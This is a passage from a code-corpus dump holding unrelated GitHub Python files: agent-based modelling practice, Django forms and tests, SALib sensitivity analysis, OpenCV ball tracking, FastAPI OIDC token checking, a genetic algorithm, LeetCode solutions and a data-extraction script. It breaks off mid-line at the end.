range(num_of_agents):\n print(i)\n matplotlib.pyplot.scatter(agents[i][1],agents[i][0])\nmax_dot = max(agents, key=operator.itemgetter(1))\nmatplotlib.pyplot.scatter(max_dot[1],max_dot[0], color='red') \n\n#matplotlib.pyplot.scatter(agents[1][1],agents[1][0])\n#max_dot = max(agents, key=operator.itemgetter(1))\n#matplotlib.pyplot.scatter(max_dot[1],max_dot[0], color='red')\nmatplotlib.pyplot.show()\n\n\n\n## Move y0 randomly\n#if random.random() < 0.5:\n# y0 = y0 + 1\n#else:\n# y0 = y0 - 1\n##print (y0)\n##print (x0)\n## Move x0 randomly\n#if random.random() < 0.5:\n# x0 = x0 + 1\n#else:\n# x0 = x0 - 1\n##print (x0)\n#\n## Move y0 and x0 randomly a second time\n# \n#if random.random() < 0.5:\n# y0 = y0 + 1\n#else:\n# y0 = y0 - 1\n#if random.random() < 0.5:\n# x0 = x0 + 1\n#else:\n# x0 = x0 - 1\n#\n## Make y1 and x1 = 50\n#y1 = 50\n#x1 = 50\n##print (y1)\n## Move y1 randomly\n#if random.random() < 0.5:\n# y1 = y1 + 1\n#else:\n# y1 = y1 - 1\n##print (y1)\n##print (x1)\n# \n# \n## Move x1 randomly\n#if random.random() < 0.5:\n# x1 = x1 + 1\n#else:\n# x1 = x1 - 1\n##print (x1)\n#\n## Move y1 and x1 randomly a second time\n# \n#if random.random() < 0.5:\n# y1 = y1 + 1\n#else:\n# y1 = y1 - 1\n# \n#if random.random() < 0.5:\n# x1 = x1 + 1\n#else:\n# x1 = x1 - 1\n#\n##y0 = 0 \n##x0 = 0 \n##y1 = 4\n##x1 = 3\n## answer = Pythagorian distance between y0,x0 and y1,x1\n#y_diff = (y0 - y1)\n#y_diffsq = y_diff * y_diff \n#x_diff = (x0 - x1)\n#x_diffsq = x_diff * x_diff\n#sum = y_diffsq + x_diffsq\n#answer = sum**0.5\n## print answer\n##print(answer)\n#\n## Randomly start the coordinates at different locations within a 100x100 grid\n## with the coordinates being integer values between and including 0 and 99\n#y0 = random.randint(0, 99)\n#x0 = random.randint(0, 99)\n##print(y0)\n##print(x0)\n#\n#\n","repo_name":"Hlbleasdale/GEOG5995","sub_path":"python/src/unpackaged/abm/practical 2/Practical2.py","file_name":"Practical2.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16105347781","text":"import json \r\nimport glob\r\n\r\n\r\nif __name__ == '__main__':\r\n cities =['adelaide', 'antofagasta', 'athens', 'belfast', 'berlin', 'bordeaux', 'brisbane', 'canberra',\r\n 'detroit', 'dublin', 'grenoble', 'helsinki', 'kuopio', 'lisbon', 'luxembourg', 'melbourne',\r\n 'nantes', 'palermo', 'paris', 'prague', 'rennes', 'rome', 'sydney', 'toulouse', 'turku',\r\n 'venice', 'winnipeg']\r\n for city in cities: \r\n glob_data = []\r\n for file in glob.glob(f\"../Results/random/lspace_triton/{city}/*.json\"):\r\n with open(file) as json_file:\r\n s = json_file.read()\r\n s = s.strip(\"'<>() \").replace('\\'', '\\\"').replace('\\'','\\\"')\r\n s = s.replace('\\t','')\r\n s = s.replace('\\n','')\r\n s = s.replace(',}','}')\r\n s = s.replace(',]',']')\r\n data = json.loads(s) \r\n glob_data.append(data)\r\n \r\n with open(f'../Results/random/lspace/{city}.json', 'w') as f:\r\n json.dump(glob_data, f)\r\n\r\n","repo_name":"maryamastero/Public-Transport-Network","sub_path":"Code/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71238878763","text":"from django import forms\nfrom django.contrib.auth.models import User\n\nfrom apps.kindergarten.models import Kindergarten\nfrom apps.user_profile.models import Child\n\n\nclass RegisterChild(forms.Form):\n kindergarten = forms.ModelChoiceField(\n queryset=Kindergarten.objects.all(),\n required=True,\n widget=forms.HiddenInput()\n )\n\n child = forms.ModelChoiceField(\n queryset=Child.objects.all(),\n required=True\n )\n\nclass RegisterChildForm(forms.ModelForm):\n class Meta:\n model = Child\n fields = '__all__'\n","repo_name":"aodarc/final_project","sub_path":"apps/user_profile/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"43558500544","text":"# Morris Method\n#%%\n\nimport numpy as np\nfrom SALib.sample import saltelli\nfrom SALib.sample import morris as smorris\nfrom SALib.analyze import sobol\nfrom SALib.analyze import morris as amorris\nfrom SALib.test_functions import Ishigami\n\n\n# Define the model inputs\nproblem = {'num_vars': 3, 'names': ['x1', 'x2', 'x3'], 'bounds': [[-3.14159265359, 3.14159265359], [-3.14159265359, 3.14159265359], [-3.14159265359, 3.14159265359]]}\n\n# Generate samples\nparamValues = saltelli.sample(problem, 1000)\n\n# Run model (example)\nY = Ishigami.evaluate(paramValues)\n\n# Perform analysis\nSi = sobol.analyze(problem, Y, print_to_console=True)\n\n# Print the first-order sensitivity indices\nprint(Si['S1'])\n\n\nX = smorris.sample(problem, 1000, num_levels=4, grid_jump=2)\nY = Ishigami.evaluate(X)\nSi = amorris.analyze(problem, X, Y, conf_level=0.95, print_to_console=True, num_levels=4, grid_jump=2)\nprint(Si)\n\n\n# Tornado plot\n#%%\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef Tornado(variables, base, lows, values):\n # The y position for each variable\n ys = range(len(values))[::-1] # top to bottom\n\n # Plot the bars, one by one\n for y, low, value in zip(ys, lows, values):\n # The width of the 'low' and 'high' pieces\n low_width = base - low\n high_width = low + value - base\n # Each bar is a \"broken\" horizontal bar chart\n plt.broken_barh([(low, low_width), (base, high_width)], (y - 0.4, 0.8), facecolors=['blue', 'green'], edgecolors=['black', 'black'], linewidth=1,)\n\n # Display the value as text. It should be positioned in the center of the 'high' bar, except if there isn't any room there, then it should be next to bar instead.\n x = base + high_width / 2\n if x <= base + 50: x = base + high_width + 50\n plt.text(x, y, str(value), va='center', ha='center')\n\n # Draw a vertical line down the middle\n plt.axvline(base, color='black')\n\n # Position the x-axis on the top, hide all the other spines (=axis lines)\n axes = plt.gca() # (gca = get current axes)\n axes.spines['left'].set_visible(False)\n axes.spines['right'].set_visible(False)\n axes.spines['bottom'].set_visible(False)\n axes.xaxis.set_ticks_position('top')\n\n # Make the y-axis display the variables\n plt.yticks(ys, variables)\n\n # Set the portion of the x- and y-axes to show\n plt.xlim(base - 1000, base + 1000)\n plt.ylim(-1, len(variables))\n plt.show()\n\n# Test\nvariables = ['apple', 'juice', 'orange', 'peach', 'gum', 'stones', 'bags', 'lamps',]\nbase = 3000\nlows = np.array([base-246/2, base-1633/2, base-500/2, base-150/2, base-35/2, base-36/2, base-43/2, base-37/2,])\nvalues = np.array([246, 1633, 500, 150, 35, 36, 43, 37,])\nTornado(variables, base, lows, values)\n","repo_name":"miltonluaces/problem_solving","sub_path":"DS/FeatureEngineering/SensitivityAnalysis.py","file_name":"SensitivityAnalysis.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"72886402602","text":"\"\"\"\nCreated by Joscha Vack on 1/6/2020.\n\"\"\"\n\nfrom os.path import join, dirname\n\n# ---------------------------\n# Global config variables\n# ---------------------------\nroot_dir = join(dirname(dirname(__file__)))\nresource_dir = join(root_dir, \"resources\")\nconfig_file = join(resource_dir, 'settings.json')\nwhitelist_file = join(resource_dir, 'whitelist.json')\njackpot_file = join(resource_dir, 'jackpot.json')\nlog_dir = join(resource_dir, 'log')\nlog_file = None\nreadme_file = join(root_dir, 'README')\n\n# ---------------------------\n# Parent bot available after Init() is called\n# ---------------------------\nparent = None\n","repo_name":"Kaze-Kami/ttv-mrs-robot","sub_path":"lib/global_variables.py","file_name":"global_variables.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"1947407120","text":"N = int(input())\n\npeople = []\n\nfor i in range(N):\n weight, height = map(int, input().split())\n people.append((weight, height))\n\ngrade = []\n\nfor i, person in enumerate(people):\n # 덩치가 큰 사람을 구해보자\n bigger = 0\n for p in range(N):\n if people[p][0] > person[0] and people[p][1] > person[1]:\n bigger += 1\n grade.append(bigger + 1)\n\n\nfor g in grade:\n print(g, end=' ')\n","repo_name":"myoun/algorithm","sub_path":"7568.py","file_name":"7568.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28197419560","text":"#La pulperia Los Mas Caritos requiere un programa que\r\n#permita sumar cada uno de los productos adquiridos\r\n#por sus clintes y mostrar el total que deben pagar.\r\n#Programe dicha solucion.\r\n\r\nnombreProducto = \"\"\r\nprecioProducto = 0\r\nprecioTotal = 0\r\ncontinuar = \"s\"\r\n\r\nwhile continuar == \"s\":\r\n nombreProducto = input(\"Ingrese el nombre del producto: \")\r\n precioProducto = float(input(\"Ingrese el precio: \"))\r\n precioTotal = precioProducto + precioTotal\r\n continuar = input(\"Desea ingresar otro producto (s/n)?\")\r\nprint(\"El total a pagar es de:\", precioTotal, \"colones\")","repo_name":"israelarguedas/PrograBasica1","sub_path":"Sem5.1While.py","file_name":"Sem5.1While.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19908311068","text":"#=====================================================\n#\n# Program to find the MLEs using grid search methods\n#\n#=====================================================\nimport numpy as np\nfrom math import sqrt\nnp.random.seed(123)\n\n# simulate the model\nx=np.array([1,2,4,5,8])\nbeta=1.0\nsig2=4.0\nt=len(x)\ny=beta*x+sqrt(sig2)*np.random.standard_normal(t)\n\n#grid search on gradient sig2=4\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Harbes/matlab","sub_path":"TSA_MATLAB/max_grid.py","file_name":"max_grid.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"33131915376","text":"import numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nimport time \r\n\r\npath = r\".\\ball.mov\"\r\nvideo = cv2.VideoCapture(path)\r\ntime.sleep(2.0)\r\n\r\n#HSV values \r\nlower = (0, 164, 65)\r\nupper = (179, 255, 255)\r\n\r\nwhile True:\r\n\r\n frame = video.read()\r\n frame = frame[1] \r\n if frame is None:\r\n break\r\n\r\n # cv2.imshow(\"frame without mask\",frame)\r\n frame1=frame\r\n # print(frame.shape)\r\n \r\n cv2.rectangle(frame,(0,450),(600,600),(0,0,0),-1)\r\n cv2.imshow(\"frame\",frame1)\r\n\r\n #noise reduction and blurring\r\n blurred = cv2.GaussianBlur(frame, (11, 11), 0)\r\n hsv = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV)\r\n \r\n #masking \r\n mask = cv2.inRange(hsv, lower, upper)\r\n mask = cv2.erode(mask, None, iterations=3)\r\n mask = cv2.dilate(mask, None, iterations=3)\r\n cv2.imshow(\"mask\",mask)\r\n\r\n #hough circles\r\n detected_circles = cv2.HoughCircles(mask, cv2.HOUGH_GRADIENT_ALT,1,minDist=1.5,param1=400,param2=0.75,minRadius=3,maxRadius=10)\r\n\r\n # this was referred from opencv docs\r\n if detected_circles is not None:\r\n detected_circles = np.uint32(np.round(detected_circles))\r\n for idx in detected_circles[0,:]:\r\n cv2.circle(frame1,(idx[0],idx[1]),idx[2],(0,255,0),2)\r\n cv2.imshow(\"Circles\",frame1)\r\n\r\n\r\n key = cv2.waitKey(1) & 0xFF\r\n if key == ord(\"q\"):\r\n break\r\n\r\n\t#for frame by frame checking\r\n # while key not in [ord('q'), ord('k')]:\r\n # key = cv2.waitKey(0)\r\n # if key == ord(\"q\"):\r\n # break\r\n\r\n\r\ncv2.destroyAllWindows()","repo_name":"theunknowninfinite/ENPM673_Projects","sub_path":"midterm/prob1.py","file_name":"prob1.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23147073682","text":"# coding: utf-8\nimport logging\nimport os\nfrom fastapi import Depends, HTTPException\nfrom fastapi.security import HTTPAuthorizationCredentials, HTTPBearer\n\nfrom spec.models.extra_models import TokenModel\nfrom auth.oidc import Oidc\n\nlogger = logging.getLogger(__name__)\n\nbearer_auth = HTTPBearer()\n\n\ndef get_token_bearer(credentials: HTTPAuthorizationCredentials = Depends(bearer_auth)) -> TokenModel:\n \"\"\"Returns\n\n Args:\n credentials (HTTPAuthorizationCredentials, optional): Credentials from the HTTP Request. Defaults to Depends(bearer_auth).\n\n Raises:\n HTTPException: thrown on authorization errors\n\n Returns:\n TokenModel: Returns access token\n \"\"\"\n\n if not credentials or not credentials.credentials:\n raise HTTPException(status_code=401, detail=\"Unauthorized\")\n\n issuers = os.environ.get(\"OIDC_ISSUERS\", None)\n if not issuers:\n logger.warning(\"OIDC_ISSUERS not configured, fallback to OIDC_AUTH_SERVER_URL\")\n issuers = os.environ.get(\"OIDC_AUTH_SERVER_URL\", None)\n\n if not issuers:\n raise HTTPException(status_code=500, detail=\"Missing OIDC_ISSUERS env variable\")\n\n oidc_audience = os.environ[\"OIDC_AUDIENCE\"]\n if not oidc_audience:\n raise HTTPException(status_code=500, detail=\"Missing OIDC_AUDIENCE env variable\")\n\n oidc = Oidc(issuers=issuers.split(\",\"))\n\n try:\n token = oidc.decode_jwt_token(token=credentials.credentials, audience=oidc_audience)\n except Exception as e:\n logger.warning(\"Invalid access token received %s\", e)\n raise HTTPException(status_code=403, detail=\"Invalid access token\")\n\n if not token:\n raise HTTPException(status_code=403, detail=\"Forbidden\")\n\n return token\n","repo_name":"Metatavu/seligson-taskusalkku-backend","sub_path":"src/impl/security_api.py","file_name":"security_api.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21232495939","text":"from random import randint\nimport random\nimport numpy as np\nimport neural_network\nimport dataset\n\n\nclass Chromosome:\n def __init__(self, number_of_genes):\n self.number_of_genes = number_of_genes\n self.genes = np.random.uniform(-1, 1, number_of_genes)\n self.badness = 0\n\n def set_genes(self, genes):\n self.genes = genes\n\n def get_genes(self):\n return self.genes\n\n def get_gene(self, index):\n return self.genes[index]\n\n def set_gene(self, index, gene):\n self.genes[index] = gene\n\n def get_genes_string(self):\n string = ', '.join(str(gene) for gene in self.genes)\n return '[' + string + ']'\n\n def __len__(self):\n return self.number_of_genes\n\n\nclass GeneticAlgorithm:\n def __init__(self, population_size, network, data, pm1=0.01, pm2=0.01, sigma1=0.5, sigma2=1, sigma3=1, k=3, t1=1, t2=1, t3=0.6, elitism=2):\n self.population_size = population_size\n self.population = []\n for i in range(population_size):\n self.population.append(Chromosome(network.get_number_of_parameters()))\n\n self.network = network\n self.data = data\n self.pm1 = pm1\n self.pm2 = pm2\n self.sigma1 = sigma1\n self.sigma2 = sigma2\n self.sigma3 = sigma3\n self.k = k\n t = t1 + t2 + t3\n self.v1 = t1 / t\n self.v2 = t2 / t\n self.v3 = t3 / t\n self.elitism = elitism\n\n @staticmethod\n def arithmetic_recombination(chromosome1, chromosome2):\n intersection = randint(0, len(chromosome1))\n child1 = Chromosome(len(chromosome1))\n child2 = Chromosome(len(chromosome1))\n for i in range(len(chromosome1)):\n if i < intersection:\n child1.set_gene(i, chromosome1.get_gene(i))\n child2.set_gene(i, (chromosome1.get_gene(i) + chromosome2.get_gene(i)) / 2)\n else:\n child2.set_gene(i, chromosome2.get_gene(i))\n child1.set_gene(i, (chromosome1.get_gene(i) + chromosome2.get_gene(i)) / 2)\n\n return child1 if random.random() > 0 else child2\n\n @staticmethod\n def better_parent(chromosome1, chromosome2):\n return chromosome1 if chromosome1.badness < chromosome2.badness else chromosome2\n\n @staticmethod\n def uniform_crossover(chromosome1, chromosome2):\n child = Chromosome(len(chromosome2))\n for i in range(len(chromosome2)):\n child.set_gene(i, chromosome1.get_gene(i) if random.random() < 0.5 else chromosome2.get_gene(i))\n\n return child\n\n @staticmethod\n def mutate_add(chromosome, mutation_chance, sigma):\n mutated = Chromosome(len(chromosome))\n for i in range(len(chromosome)):\n x = chromosome.get_gene(i)\n mutated.set_gene(i, x + np.random.normal(0, sigma) if random.random() < mutation_chance else x)\n\n return mutated\n\n def weak_add_mutation(self, chromosome):\n return self.mutate_add(chromosome, self.pm1, self.sigma1)\n\n def strong_add_mutation(self, chromosome):\n return self.mutate_add(chromosome, self.pm1, self.sigma2)\n\n def mutate_replace(self, chromosome):\n mutated = Chromosome(len(chromosome))\n for i in range(len(chromosome)):\n x = chromosome.get_gene(i)\n mutated.set_gene(i, np.random.normal(0, self.sigma3) if random.random() < self.pm2 else x)\n\n return mutated\n\n def k_tournament(self):\n tournament = []\n for i in range(self.k):\n x = randint(0, self.population_size - 1)\n tournament.append(self.population[x])\n\n tournament.sort(key=lambda x: x.badness)\n\n return tournament[0], tournament[1]\n\n def evaluate_population(self):\n for chromosome in self.population:\n chromosome.badness = self.network.calc_error(chromosome.get_genes(), self.data)\n\n def randomly_mutate(self, chromosome):\n x = random.random()\n if x < self.v1:\n return self.weak_add_mutation(chromosome)\n elif x < self.v1 + self.v2:\n return self.strong_add_mutation(chromosome)\n else:\n return self.mutate_replace(chromosome)\n\n def get_best_chromosome(self):\n best = self.population[0]\n for chromosome in self.population:\n if chromosome.badness < best.badness:\n best = chromosome\n return best\n\n def randomly_crossover(self, parent1, parent2):\n x = random.random()\n if x < 1/3:\n return self.arithmetic_recombination(parent1, parent2)\n elif x < 2/3:\n return self.better_parent(parent1, parent2)\n else:\n return self.uniform_crossover(parent1, parent2)\n\n def run_algorithm(self, epsilon=0.0000001, max_iterations=50000):\n self.evaluate_population()\n for i in range(max_iterations):\n self.evaluate_population()\n self.population.sort(key=lambda x: x.badness)\n best = self.population[0]\n error = best.badness\n if i%10 == 0:\n print(\"error:\", error)\n print(\"generation:\", i)\n\n if i%1000 == 0 or error < epsilon:\n file = open('parameters.txt', 'a')\n file.write(best.get_genes_string())\n file.write('\\n')\n file.close()\n if error < epsilon:\n break\n new_population = []\n\n for j in range(self.elitism):\n new_population.append(self.population[j])\n\n while len(new_population) < self.population_size:\n parent1, parent2 = self.k_tournament()\n child = self.randomly_crossover(parent1, parent2)\n child = self.randomly_mutate(child)\n new_population.append(child)\n\n self.population = new_population\n\n\nnn = neural_network.NeuralNetwork([2, 8, 3])\nds = dataset.Dataset('zad7-dataset.txt')\nga = GeneticAlgorithm(30, nn, ds)\nga.run_algorithm()\n\n# [2, 6, 4, 3] population_size=30,pm1=0.01, pm2=0.01, sigma1=0.5, sigma2=1, sigma3=1, k=3, t1=1, t2=1, t3=0.6, elitism=2 - 10320","repo_name":"TheMainGuy/Genetic-algorithm-and-neural-network","sub_path":"GeneticAlgorithm.py","file_name":"GeneticAlgorithm.py","file_ext":"py","file_size_in_byte":6141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36548761360","text":"import heapq\nfrom collections import deque\nfrom typing import Deque, List, Set, Tuple\n\n\nclass Heap:\n def __init__(self) -> None:\n self.heap: List[Tuple[int, int]] = []\n self.present: Set[Tuple[int, int]] = set()\n\n def push(self, value: Tuple[int, int]) -> None:\n heapq.heappush(self.heap, value)\n self.present.add(value)\n\n def pop(self) -> Tuple[int, int]:\n self.peek()\n\n return heapq.heappop(self.heap)\n\n def peek(self) -> Tuple[int, int]:\n while self.heap[0] not in self.present:\n heapq.heappop(self.heap)\n\n return self.heap[0]\n\n def discard(self, value: Tuple[int, int]) -> None:\n self.present.discard(value)\n\n\nclass Solution:\n def maxSlidingWindowHeap(self, nums: List[int], k: int) -> List[int]:\n result: List[int] = []\n heap = Heap()\n\n for pos in range(k):\n heap.push((-nums[pos], pos))\n\n if heap:\n result.append(-heap.peek()[0])\n\n for pos in range(k, len(nums)):\n heap.discard((-nums[pos - k], pos - k))\n heap.push((-nums[pos], pos))\n\n result.append(-heap.peek()[0])\n\n return result\n\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n queue: Deque[int] = deque()\n\n def add(pos: int) -> None:\n while queue and nums[queue[-1]] <= nums[pos]:\n queue.pop()\n\n queue.append(pos)\n\n def discard_left(pos: int) -> None:\n if queue[0] == pos:\n queue.popleft()\n\n result: List[int] = []\n\n for pos in range(k):\n add(pos)\n\n result.append(nums[queue[0]])\n\n for pos in range(k, len(nums)):\n discard_left(pos - k)\n add(pos)\n result.append(nums[queue[0]])\n\n return result\n","repo_name":"fspv/learning","sub_path":"l33tcode/sliding-window-maximum.py","file_name":"sliding-window-maximum.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"19"} +{"seq_id":"23387280088","text":"from typing import List\nfrom unittest import TestCase\n\nclass Solution:\n def carPooling(self, trips: List[List[int]], capacity: int) -> bool:\n days = []\n for num, fr, to in trips:\n days.append((fr, num))\n days.append((to, -num))\n current_num = 0\n current_day = None\n for day, num in sorted(days):\n if current_day != day:\n if current_num > capacity:\n return False\n current_day = day\n current_num += num\n return current_num <= capacity\n \nclass CarPoolingTest(TestCase):\n def test_1(self) -> None:\n self.assertFalse(Solution().carPooling([[2,1,5],[3,3,7]], 4)) \n\n def test_2(self) -> None:\n self.assertTrue(Solution().carPooling([[2,1,5],[3,3,7]], 5)) \n","repo_name":"dmitry-pechersky/algorithms","sub_path":"leetcode/1094_Car_Pooling.py","file_name":"1094_Car_Pooling.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"39740968140","text":"__author__ = \"Marcelo L. Bianchetti\"\n__license__ = \"MIT License\"\n__version__ = \"1.0.0\"\n__email__ = \"mbianchetti at dc.uba.ar\"\n__status__ = \"Development\"\n\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase, APIClient\n\nfrom .models import Author, Book\n\nimport datetime\n\n\nclass AuthorTestCase(APITestCase):\n def setUp(self):\n '''\n Initializes the catalog with 3 authors and 7 books.\n It also initializes a client to test the API.\n It is accessible via self.client.\n '''\n Author.objects.create(\n first_name=\"Julio\",\n last_name=\"Verne\",\n date_of_birth=datetime.date.today()\n )\n Author.objects.create(\n first_name=\"Emilio\",\n last_name=\"Salgari\",\n date_of_birth=datetime.date.today()\n )\n Author.objects.create(\n first_name=\"Agatha\",\n last_name=\"Christie\",\n date_of_birth=datetime.date.today()\n )\n books = [\n (\n \"La vuelta al mundo en 80 días\",\n datetime.date.today(),\n 1,\n \"Aventura, viajes, ficción\"\n ),\n (\n \"Viaje al centro de la tierra\",\n datetime.date.today(),\n 1,\n \"Aventura, viajes, ficción\"\n ),\n (\n \"Sandokán\",\n datetime.date.today(),\n 2,\n \"Aventura, viajes, barcos, batallas, piratas, amor, amistad\"\n ),\n (\n \"Cartago en llamas\",\n datetime.date.today(),\n 2,\n \"Aventura, batallas, guerra, heroes\"\n ),\n (\n \"El corsario negro\",\n datetime.date.today(),\n 2,\n \"Aventura, viajes, barcos, batallas, piratas, amor, amistad\"\n ),\n (\n \"El misterioso señor Brown\",\n datetime.date.today(),\n 3,\n \"Detectives, policial, aventura, drama, misterio\"\n ),\n (\n \"El asesinato de Roger Acroyd\",\n datetime.date.today(),\n 3,\n \"Detectives, policial, aventura, misterio, médico\"\n ),\n ]\n for book in books:\n Book.objects.create(\n title=book[0],\n date_of_publication=book[1],\n author_id=book[2],\n keywords=book[3]\n )\n self.client = APIClient()\n\n def test_API_list_all(self):\n '''Tests listing all the elements.'''\n\n url = '/api/list/'\n response = self.client.get(url)\n\n data = response.data\n\n keys = set(['count', 'next', 'previous', 'results'])\n assert(keys == set(data.keys()))\n\n assert(data['count'] == 7)\n assert(data['previous'] is None)\n assert(data['next'] is None)\n\n keys = set([\n 'id',\n 'title',\n 'date_of_publication',\n 'author',\n 'keywords'\n ])\n\n for res in data['results']:\n assert(set(res.keys()) == keys)\n\n ids = set(range(1, 8))\n r_ids = {r['id'] for r in data['results']}\n\n assert(ids == r_ids)\n\n assert(data['results'][0]['id'] == 4)\n\n def test_API_list_retrieve_one(self):\n '''Tests retriving only one element.'''\n\n book_id = 4\n url = f'/api/list/{book_id}/'\n response = self.client.get(url)\n\n data = response.data\n\n keys = set([\n 'id',\n 'title',\n 'date_of_publication',\n 'author',\n 'keywords'\n ])\n assert(keys == set(data.keys()))\n\n assert(data['id'] == book_id)\n\n r_keywords = set(data['keywords'].split(', '))\n keywords = set(['Aventura', 'batallas', 'guerra', 'heroes'])\n assert(r_keywords == keywords)\n\n def test_API_list_keyword(self):\n '''Tests keyword search.'''\n\n keyword = 'médico'\n url = f'/api/list/?keyword={keyword}'\n response = self.client.get(url)\n\n data = response.data\n\n keys = set(['count', 'next', 'previous', 'results'])\n assert(keys == set(data.keys()))\n\n assert(data['count'] == 1)\n assert(data['previous'] is None)\n assert(data['next'] is None)\n\n keys = set([\n 'id',\n 'title',\n 'date_of_publication',\n 'author',\n 'keywords'\n ])\n\n for res in data['results']:\n assert(set(res.keys()) == keys)\n\n assert(data['results'][0]['id'] == 7)\n\n def test_API_similars(self):\n '''Tests listing similar elements.'''\n \n book_id = 5\n url = f'/api/similars/{book_id}/'\n response = self.client.get(url)\n\n data = response.data\n\n keys = set(['count', 'next', 'previous', 'results'])\n assert(keys == set(data.keys()))\n\n assert(data['count'] == 6)\n assert(data['previous'] is None)\n assert(data['next'] is None)\n\n keys = set([\n 'id',\n 'title',\n 'date_of_publication',\n 'author',\n 'keywords'\n ])\n\n for res in data['results']:\n assert(set(res.keys()) == keys)\n\n ids = {1, 2, 3, 4, 6, 7}\n r_ids = {r['id'] for r in data['results']}\n assert(ids == r_ids)\n\n assert(data['results'][0]['id'] == 4)\n","repo_name":"exactasmache/django-catalog","sub_path":"src/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"30166424321","text":"import argparse\nimport glob\nfrom itk.support.types import PixelTypes\nimport skimage.transform\nimport sklearn\nimport monai\nimport itk\nimport shutil\nimport numpy as np\nimport util\n\n\nfrom monai.data import partition_dataset\nfrom pathlib import Path\n\n# Any and all data goes here\nDATA_DIR = Path(\"data\")\n\n# Original untouched data\nRAW_DATA_DIR = DATA_DIR / \"raw_data\"\n\n# Data separated into train, val, and test\nEXTRACT_DIR = DATA_DIR / \"extracted_data\"\n\n# Original data as given was separated into 3 directories\nRAW_PROJ_DIR = RAW_DATA_DIR / \"stage2-10K_500_proj\"\nRAW_REC_DIR = RAW_DATA_DIR / \"stage2-10K_500_rec\"\nRAW_SOURCE_DIR = RAW_DATA_DIR / \"stage2-10K-500_source\"\n\n# Synthetic dataset for use before actual data comes in\nSYNTHETIC_DATA_DIR = DATA_DIR / \"synthetic\"\nSYNTHETIC_SINO_DIR = SYNTHETIC_DATA_DIR / \"sinograms\"\nSYNTHETIC_INCOMPLETE_SINO_DIR = SYNTHETIC_DATA_DIR / \"incomplete_sinograms\"\n\n# Train directories\nTRAIN_DATA_DIR = EXTRACT_DIR / \"train\"\nTRAIN_X_DIR = TRAIN_DATA_DIR / \"x\"\nTRAIN_Y_DIR = TRAIN_DATA_DIR / \"y\"\n\n# Validation directories\nVAL_DATA_DIR = EXTRACT_DIR / \"val\"\nVAL_X_DIR = VAL_DATA_DIR / \"x\"\nVAL_Y_DIR = VAL_DATA_DIR / \"y\"\n\n# Test directories\nTEST_DATA_DIR = EXTRACT_DIR / \"test\"\nTEST_X_DIR = TEST_DATA_DIR / \"x\"\nTEST_Y_DIR = TEST_DATA_DIR / \"y\"\n\nSYNTHETIC_DATA_DIR.mkdir(parents=True, exist_ok=True)\nSYNTHETIC_SINO_DIR.mkdir(parents=True, exist_ok=True)\nSYNTHETIC_INCOMPLETE_SINO_DIR.mkdir(parents=True, exist_ok=True)\n\nTRAIN_X_DIR.mkdir(parents=True, exist_ok=True)\nTRAIN_Y_DIR.mkdir(parents=True, exist_ok=True)\nVAL_X_DIR.mkdir(parents=True, exist_ok=True)\nVAL_Y_DIR.mkdir(parents=True, exist_ok=True)\nTEST_X_DIR.mkdir(parents=True, exist_ok=True)\nTEST_Y_DIR.mkdir(parents=True, exist_ok=True)\n\n# ITK stuff\nPixelType = itk.F\nSourceDataDim = 3\nExtractedDataDim = 2\n\nSourceImageType = itk.Image[PixelType, SourceDataDim]\nImageType = itk.Image[PixelType, ExtractedDataDim]\n\nNETWORK_INPUT_SIZE = (256, 256)\n\n\ndef _construct_parser():\n \"\"\"\n Constructs the ArgumentParser object with the appropriate options\n\n \"\"\"\n\n my_parser = argparse.ArgumentParser()\n sub_parsers = my_parser.add_subparsers(dest=\"sub_command\")\n\n sub_parsers.add_parser(\"generate_synthetic_data\")\n sub_parsers.add_parser(\"extract\", help=\"Extract data\")\n sub_parsers.add_parser(\"extract_synthetic_data\")\n\n return my_parser\n\n\ndef _extract_datalist(dl, xoutdir, youtdir):\n for d in dl:\n xfname = Path(d[\"x\"]).name\n yfname = Path(d[\"y\"]).name\n\n x = itk.imread(d[\"x\"])\n y = itk.imread(d[\"y\"])\n\n itk.imwrite(x, str(xoutdir / xfname))\n itk.imwrite(y, str(youtdir / yfname))\n\n\n# TODO: Make this modular on axis?\ndef remove_random_cols_of_image(sino: itk.Image, frac_to_remove=0.1):\n sino_arr = itk.array_from_image(sino)\n num_rows, num_cols = 